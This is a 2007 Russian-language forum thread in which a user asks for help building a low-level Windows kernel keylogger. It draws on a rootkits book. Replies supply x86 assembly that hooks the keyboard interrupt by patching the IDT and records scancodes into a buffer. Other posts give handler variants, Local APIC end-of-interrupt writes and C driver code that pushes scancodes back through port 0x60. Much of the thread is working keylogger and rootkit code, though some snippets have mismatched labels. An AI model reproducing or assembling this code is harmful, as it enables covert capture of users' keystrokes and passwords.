usb keylogger

Тема в разделе "WASM.NT.KERNEL", создана пользователем katrus, 1 июл 2007.

  1. katrus

    katrus New Member

    Публикаций:
    0
    Регистрация:
    7 мар 2007
    Сообщения:
    612
    читаю книгу о rootkits, там есть пример keylogger'а работающего напрямую с железом - на 31h прерывание вешается функция keylogger'а. Попытался воспроизвести этот пример - не работает. Причина довольно банальна - в примере разбирают клавиатуру подключенную через ps/2 а у меня клавиатура usb и нет возможности подключить ничего другого (на новых компьютерах dell нет ps/2).

    Может можно симитировать ps/2 клавиатуру хотя-б под VMWare? Или если я хочу написать низкоуровневой keylogger для usb клавиатуры - как начать?
     
  2. katrus

    katrus New Member

    Публикаций:
    0
    Регистрация:
    7 мар 2007
    Сообщения:
    612
    Хмм, странно. Достал с полки старенький бук, у него клавиатура точно по ps/2 подключена. Поставил на него XP. Запустил драйвер который вешает собстевнный обработхик прерываний на 0х31 (взято с www.rootkit.com/vault/hoglund/basic_keysniff.zip). И ... ничего. Абсолютно никаого эффекта.

    Может есть у кого работающий пример кейлогера вешаемого на IDT?

    P.S. a есть ли какая утилитка для анализа IDT - какой вектор на какой драйвер указывает?
     
  3. rei3er

    rei3er maxim

    Публикаций:
    0
    Регистрация:
    15 янв 2007
    Сообщения:
    917
    Адрес:
    minsk
    тут надо не IDT смотреть, а APIC, потому как прерывание внешнее
    IDT кроме адресов обработчиков ничего не даст
     
  4. katrus

    katrus New Member

    Публикаций:
    0
    Регистрация:
    7 мар 2007
    Сообщения:
    612
    А мне разве нужно еще что то? Существующий адрес обработчка подменяю на свой.
     
  5. rei3er

    rei3er maxim

    Публикаций:
    0
    Регистрация:
    15 янв 2007
    Сообщения:
    917
    Адрес:
    minsk
    katrus
    ты по дескриптору IDT не определишь, обработчик какого прерывания через него будет вызываться
     
  6. katrus

    katrus New Member

    Публикаций:
    0
    Регистрация:
    7 мар 2007
    Сообщения:
    612
    да верно. Просто в случае клавиатуры обработчик находится (по крайней мере в теории) на векторе 0х31.
     
  7. rei3er

    rei3er maxim

    Публикаций:
    0
    Регистрация:
    15 янв 2007
    Сообщения:
    917
    Адрес:
    minsk
    katrus
    ну если так, то
    Код (Text):
    1. idt_change:
    2.     pushfd
    3.     cli
    4.     xchg ebx, dword [eax]
    5.     xchg edx, dword [eax + 4]
    6.     popfd
    7.     ret
    8.  
    9. kbd_handler_descriptor:
    10.     dq 0
    11. kbd_handler_addr:
    12.     dd 0
    13. kbd_buf:
    14.     db 256 dup(0)
    15.  
    16. kbd_handler:
    17.     push eax
    18.     in al, 0x60
    19.     out 0x60, al
    20.     and eax, 0xFF
    21.     inc byte [eax + kbd_buf]
    22.     pop eax
    23.     jmp dword [kbd_handler_addr]
    24.  
    25. set_handler:
    26.     push ebx
    27.     push edx
    28.     sidt fword [esp - 6]
    29.     mov eax, dword [esp - 4]
    30.     lea eax, dword [eax + 0x31 SHL 3]
    31.     mov ebx, kbd_handler
    32.     mov edx, ebx
    33.     and ebx, 0x0000FFFF
    34.     or ebx, KERNEL_CS_SELECTOR SHL 16
    35.     and edx, 0xFFFF0000
    36.     or edx, 0x8E00
    37.     call idt_change
    38.     mov dword [kbd_handler_descr], ebx
    39.     mov dword [kbd_handler_descr + 4], edx
    40.     and ebx, 0x0000FFFF
    41.     and edx, 0xFFFF0000
    42.     or ebx, edx
    43.     mov dword [kbd_handler_addr], ebx
    44.     pop edx
    45.     pop ebx
    46.     xor eax, eax
    47.     ret
     
  8. katrus

    katrus New Member

    Публикаций:
    0
    Регистрация:
    7 мар 2007
    Сообщения:
    612
    похоже чего то я делаю не так.
    Делаю даже такую тупость:
    __asm sidt idt_info
    idt_entries = (IDTENTRY*)MAKELONG(idt_info.LowIDTbase,idt_info.HiIDTbase);
    __asm cli
    idt_entries[0х31].LowOffset = 0;
    idt_entries[0х31].HiOffset = 0;
    __asm sti
    Не падает! Значит патчу какойто левый вектор
     
  9. rei3er

    rei3er maxim

    Публикаций:
    0
    Регистрация:
    15 янв 2007
    Сообщения:
    917
    Адрес:
    minsk
    значит да
     
  10. katrus

    katrus New Member

    Публикаций:
    0
    Регистрация:
    7 мар 2007
    Сообщения:
    612
    О! Побил головой по бубну. Оказывается клава на векторе 93h
     
  11. PROFi

    PROFi New Member

    Публикаций:
    0
    Регистрация:
    13 июл 2003
    Сообщения:
    690
    katrus

    Пример перехвата ввода с клавы - аппаратная точка прерывания на порт 64h :)
     
  12. katrus

    katrus New Member

    Публикаций:
    0
    Регистрация:
    7 мар 2007
    Сообщения:
    612
    Еще одна непонятка - наипростейший обаботчик клавиатуры:
    Код (Text):
    1. push eax
    2. in al,60h
    3. mov al,20h
    4. out 20h,al
    5. pop eax    
    6. iretd
    Падает в BSOD моментально. В то же время код вызывающий старый обработчик работает без всяких приключений
    Код (Text):
    1. push eax
    2. in al,60h
    3. pop еах                 
    4. jmp     old_kbd_handler
    P.S. конечная цель - сделать фильтр клавиатуры. По наступлению некого события клавиатура блокируется.
     
  13. rei3er

    rei3er maxim

    Публикаций:
    0
    Регистрация:
    15 янв 2007
    Сообщения:
    917
    Адрес:
    minsk
  14. PROFi

    PROFi New Member

    Публикаций:
    0
    Регистрация:
    13 июл 2003
    Сообщения:
    690
    katrus

    mov al,20h
    out 20h,al
    Это только на древних машинах, а сейчас всем заправляет APIC.
     
  15. katrus

    katrus New Member

    Публикаций:
    0
    Регистрация:
    7 мар 2007
    Сообщения:
    612
    PROFi
    Похоже на то. А как после получения скан кода из порта 60h "сказать" контроллеру клавиатуры, что код прочитан и можно переходить к следующему?

    Что странно, если просто делаю in .., 60h и вслед за этим вызываю прежний обработчик - клавиатура как бы блокируется, но если быстро печатать - некоторые клавишы "проскакивают"
     
  16. PROFi

    PROFi New Member

    Публикаций:
    0
    Регистрация:
    13 июл 2003
    Сообщения:
    690
    katrus

    Ты перехватываешь прерывание от клавы на себя, далее даешь отработать основному обработчику, а только потом читаешь in al,60h потому, что этот код сбросит бит - входной буфер полон и основной обработчик (если раньше выполнить in al,60h) будет считать, что прерывание не его и передаст его по цепочке далее, только вот в этой цепочке может и скорее всего никого не будет и => BSOD типа IRQL нарушен

    Ктати отпадает необходимость в
    out 20h,al
     
  17. katrus

    katrus New Member

    Публикаций:
    0
    Регистрация:
    7 мар 2007
    Сообщения:
    612
    Стоп, но тогда основной обработчик поймает сканкод. А мне нужно изолировать его, т.е., считать сканкод самому, не передавая его осному драйверу.
     
  18. rei3er

    rei3er maxim

    Публикаций:
    0
    Регистрация:
    15 янв 2007
    Сообщения:
    917
    Адрес:
    minsk
    а как же Virtual Wire Interrupt Mode?
    а что если так сделать
    Код (Text):
    1. kbd_handler:
    2.     in al, 0x60
    3.     out 0x60, al
    4.     jmp dword [original_handler]
    потому как навряд ли дождемся пока отработает основной обработчик (там в конце скорее всего идет iretd)
     
  19. rei3er

    rei3er maxim

    Публикаций:
    0
    Регистрация:
    15 янв 2007
    Сообщения:
    917
    Адрес:
    minsk
    а что если так сделать
    Код (Text):
    1. push eax
    2. in al,60h
    3. and dword [0xFEE000B0], 0
    4. pop eax    
    5. iretd
    0xFEE00000 - базовый физический адрес Local APIC (возможно его сначала придется отобразить на адресное пространство ядра)
     
  20. katrus

    katrus New Member

    Публикаций:
    0
    Регистрация:
    7 мар 2007
    Сообщения:
    612
    Еще один вопрос:
    пробую записать прочитанный скан код обратно в порт
    Код (Text):
    1. chr = READ_PORT_UCHAR(KBD_PORT_60);
    2. WRITE_PORT_UCHAR(0x64, 0xD2);
    3. wait_kbd();
    4. WRITE_PORT_UCHAR(0x60, chr);
    Функция wait_kbd() ждет пока клавиатура станет доступной
    Код (Text):
    1. ULONG wait_kbd()
    2. {
    3.     UCHAR chr;
    4.     ULONG i;
    5.     for (i = 0; i < 100; i ++) // do at most 100 iterations
    6.     {
    7.         KeStallExecutionProcessor(500);
    8.         chr = READ_PORT_UCHAR(KBD_PORT_64);
    9.         if (! (chr & 0x02)) break;
    10.     }
    11.     return i != 100;
    12. }
    Видел во нескольких местах в инете подобные примеры (в частности в книге Rootkits есть такой же код). У меня все время этот код заваливатся. Пробовал поставить cli/sti - никаких изменений. Что же нужно сделать чтоб записать сканкод обратно в порт?

    BSOD говорит: DRIVER_IRQL_NOT_LESS_OR_EQUAL, STOP: 0x0...D1